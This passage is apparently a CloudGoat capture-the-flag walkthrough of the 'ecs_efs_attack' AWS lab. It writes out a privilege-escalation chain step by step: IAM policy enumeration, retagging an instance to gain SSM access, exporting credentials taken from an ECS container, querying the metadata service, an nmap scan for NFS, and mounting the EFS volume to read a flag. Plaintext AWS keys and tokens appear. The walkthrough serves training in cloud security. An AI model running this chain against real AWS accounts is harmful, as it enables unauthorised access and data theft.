"Token": "IQoJb3JpZ2luX2VjEGMaCXVzLWVhc3QtMSJHMEUCIQCWOiRs81UqZ+RkfqzOMBUXUrt2lOu51yRP1xbVaZLP3AIgHODS65Cd15bPH+kJXBNUBGoqrbn90HWo6OpPcVALfA4qpwQIPBACGgw2ODM0NTQ3NTQyODEiDMpgKogbLavaGdEtcyqEBHkK1Fy+JbfOayKpYVtmSTasc2NpFTfXtlEbHpOoSZDqEAI+3tlhbfZB9xpmSMlBBI8iIn5hbjWr794O+yl1TKFRgj6K8zq5Fp9is5w/CwlmGPsdSRijxbpSxvS9ny6Vsdjlr0qF0yCy75tVNLq4P8OUvKrr5yrbn5ebeR8uNIWNeRfcb6QCSesSLJ4j69lfdvrJGO6Z5qn6B8GrVvIp11zpSvKLM89zoyClUGDo+b7VeCFqLOuqYZKTa96h6LkSqas1RHzBTUDZPOnaPdGPlAZ7zJmHDUasS/loL8oKoblRWvP45l/D+Y2fl40+uthoTP6XhsoQ1XaXK40UvlV4f1GGbhh5+RVbZ2++juPzSjB7eHtXl3zEKLdAEl3HAqQfqKqzRobS/Tpd4onCQrY4U4kWh9D21qyOUEOtyCAdv3MqzUAzIspIxx/UnaQJesZbmZsLGzXvLUgoD01RUjTjFJV5EM6M2G5fDTSpWcXnCJnpyfxAar2W/xXvJpdH2mYoXi9j9j1MpT2oksYGWW6NcrNVzQIOQXbinAytW6/AoqK9rpWsA+z8v5UM7ATr6dVPL//SH+qsp8OQDZhHpg2iu8jDT2Fn/PhTvKtMXK9t4rRNCQMdqc1r7+ti0d3z2XbtaU01JGBnZW5A9ZTpi+v+KjZumksu4Q3RLHVxOPDG0plcmjYbrzCsgNWnBjqmAQ7vOYDr5myuoYWecUam1IZXddzW/7VfJZKOnkobIA4x0ZE1yzJGZ57Ex682T+zX65iWZeDHsAQhfyPXPtPJTudSu/xH/nJMad3uo3okbzP8jM9MtPizf5cglDYdqB40aIxIhbCp1nieu3hPKL8Yl8eeOB+s8Vhc7AsYJYM2nLQKiHKQMw/kcFTc50/g549y0irjQU1D4wDLTpcDHfK7XcCcGYV80m4=",
"Expiration": "2023-09-04T08:25:48Z"
}
Lets look at what permissions it has before we assume it.
aws iam list-role-policies --role-name cg-ecs-role-ecs_efs_attack_cgidc5gnv28rje
# None
aws iam list-attached-role-policies --role-name cg-ecs-role-ecs_efs_attack_cgidc5gnv28rje
# cg-ecs-role-policy-ecs_efs_attack_cgidc5gnv28rje
aws iam list-policy-versions --policy-arn arn:aws:iam::0123456789:policy/cg-ecs-role-policy-ecs_efs_attack_cgidc5gnv28rje
# V1
aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-ecs-role-policy-ecs_efs_attack_cgidc5gnv28rje --version-id v1
Looks like the role is able to assume servers with the tag "aws:ResourceTag/StartSession": "true"
.
The only instance with the tag is cg-ruse-ec2-ecs_efs_attack_cgidc5gnv28rje (i-042fff5ccb55f5c75
)…
Thats the server we started with SSHing into
The role (cg-ec2-role-ecs_efs_attack_cgidc5gnv28rje) that we started with from the server can change tags on other instances
aws ec2 create-tags --resources i-0163945fb3d1622be --tags Key=StartSession,Value=true
# Creds from ECS container
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU2TT3KVL7
export AWS_SECRET_ACCESS_KEY=7D5kwTcb0jidNyFAh2wD5AZzXEE04hg9IRVdoab8
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEGMaCXVzLWVhc3QtMSJHMEUCIQCWOiRs81UqZ+RkfqzOMBUXUrt2lOu51yRP1xbVaZLP3AIgHODS65Cd15bPH+kJXBNUBGoqrbn90HWo6OpPcVALfA4qpwQIPBACGgw2ODM0NTQ3NTQyODEiDMpgKogbLavaGdEtcyqEBHkK1Fy+JbfOayKpYVtmSTasc2NpFTfXtlEbHpOoSZDqEAI+3tlhbfZB9xpmSMlBBI8iIn5hbjWr794O+yl1TKFRgj6K8zq5Fp9is5w/CwlmGPsdSRijxbpSxvS9ny6Vsdjlr0qF0yCy75tVNLq4P8OUvKrr5yrbn5ebeR8uNIWNeRfcb6QCSesSLJ4j69lfdvrJGO6Z5qn6B8GrVvIp11zpSvKLM89zoyClUGDo+b7VeCFqLOuqYZKTa96h6LkSqas1RHzBTUDZPOnaPdGPlAZ7zJmHDUasS/loL8oKoblRWvP45l/D+Y2fl40+uthoTP6XhsoQ1XaXK40UvlV4f1GGbhh5+RVbZ2++juPzSjB7eHtXl3zEKLdAEl3HAqQfqKqzRobS/Tpd4onCQrY4U4kWh9D21qyOUEOtyCAdv3MqzUAzIspIxx/UnaQJesZbmZsLGzXvLUgoD01RUjTjFJV5EM6M2G5fDTSpWcXnCJnpyfxAar2W/xXvJpdH2mYoXi9j9j1MpT2oksYGWW6NcrNVzQIOQXbinAytW6/AoqK9rpWsA+z8v5UM7ATr6dVPL//SH+qsp8OQDZhHpg2iu8jDT2Fn/PhTvKtMXK9t4rRNCQMdqc1r7+ti0d3z2XbtaU01JGBnZW5A9ZTpi+v+KjZumksu4Q3RLHVxOPDG0plcmjYbrzCsgNWnBjqmAQ7vOYDr5myuoYWecUam1IZXddzW/7VfJZKOnkobIA4x0ZE1yzJGZ57Ex682T+zX65iWZeDHsAQhfyPXPtPJTudSu/xH/nJMad3uo3okbzP8jM9MtPizf5cglDYdqB40aIxIhbCp1nieu3hPKL8Yl8eeOB+s8Vhc7AsYJYM2nLQKiHKQMw/kcFTc50/g549y0irjQU1D4wDLTpcDHfK7XcCcGYV80m4=
aws ssm start-session --target i-0163945fb3d1622be
# Starting session with SessionId: 01650e26d4de4a9cba146123e87a0e4d-07095f2e674d3eb74
# $
curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# cg-efs-admin-role-ecs_efs_attack_cgidc5gnv28rje
Sweet, lets see what permissions are
aws iam list-attached-role-policies --role-name cg-efs-admin-role-ecs_efs_attack_cgidc5gnv28rje
aws iam list-policy-versions --policy-arn arn:aws:iam::0123456789:policy/cg-efs-admin-role-policy-ecs_efs_attack_cgidc5gnv28rje
# V1
aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-efs-admin-role-policy-ecs_efs_attack_cgidc5gnv28rje --version-id v1
Interesting that the only permission on it is "elasticfilesystem:ClientMount"
.
None of the permissions we have allows us to fine EFS volumes, but we can scan the network for the endpoint.
sudo apt install -y nmap
nmap -Pn -p 2049 --open 10.10.10.0/24
# Nmap scan report for ip-10-10-10-74.ec2.internal (10.10.10.74)
# PORT STATE SERVICE
# 2049/tcp open nfs
Now that we found the EFS endpoint we can try to mount it to our server.
sudo apt install -y nfs-common
sudo mkdir /cloudgoat_nfs
sudo chown ubuntu:ubuntu /cloudgoat_nfs
sudo mount 10.10.10.74:/ /cloudgoat_nfs
ls -l /cloudgoat_nfs/
# drwxrwxrwx 2 ubuntu ubuntu 6144 Sep 3 21:50 admin
ls -l /cloudgoat_nfs/admin/
# -rw-rw-r-- 1 ubuntu ubuntu 52 Sep 4 02:53 flag.txt
cat /cloudgoat_nfs/admin/flag.txt
# RmxhZzoge3todHRwczovL3lvdXR1LmJlL2RRdzR3OVdnWGNRfX0=
cat /cloudgoat_nfs/admin/flag.txt | base64 -d
# Flag: {{https://youtu.be/dQw4w9WgXcQ}}
🤦
Cleanup
It might take a while for the scenario to be removed, AWS releases network interfaces from lambda very slowely.
rm cloudgoat_ecs_efs_attack_creds.json
./cloudgoat.py destroy ecs_efs_attack